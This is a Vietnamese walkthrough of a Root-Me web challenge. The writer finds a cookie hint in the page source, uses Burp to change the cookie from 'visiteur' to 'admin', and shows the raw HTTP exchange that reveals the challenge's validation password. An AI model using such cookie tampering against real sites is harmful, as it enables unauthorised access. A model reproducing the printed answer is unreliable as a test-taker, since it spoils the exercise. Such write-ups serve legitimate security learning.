Bắt đầu challenge, ta có một form gửi email

Khi send email thì hiện ra thông báo **Email saved**. Nhưng khi bấm **Saved email adresses** thì lại hiện thông báo **You need to be admin**.

Sau khi view source ta thấy có 1 comment khả nghi:

<!--SetCookie("ch7","visiteur");-
>

```
<br/>
<br/>
<fieldset>

<form method="POST" action="" name="a">
Email<br/>
<input type="text" name="mail" size="20" class="post2" value=""><br/><br/>
<input type="submit" name="jsep4b" size="20" class="post2" value="send"><br/><br/>
</form><!--SetCookie("ch7","visiteur");--><a href="?c=visiteur">Saved email adresses</a><br/></fieldset>
```

Ta sử dụng burp tiến hành chặn request thử xem.

thấy phần tiêu đề cookie có giá trị là **ch7=visiteur**. Sửa lại giá trị này thành **ch7=admin** nhận được password: ml-SYMPA

Request

Pretty Raw Hex

```
1 GET /web-serveur/ch7/?c=visiteur HTTP/1.1
2 Host: challenge01.root-me.org
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
  Gecko/20100101 Firefox/102.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
  mage/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer:
  http://challenge01.root-me.org/web-serveur/ch7/?c=visiteur
9 Cookie: ch7=admin; _ga_SRYSKX09J7=
  GS1.1.1685458677.6.1.1685460463.0.0.0; _ga=visiteur
10 Upgrade-Insecure-Requests: 1
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Tue, 30 May 2023 15:38:05 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 Vary: Accept-Encoding
7 Content-Length: 53
8
9 <div>
    Validation password : ml-SYMPA
10 </div>
  </fieldset>
```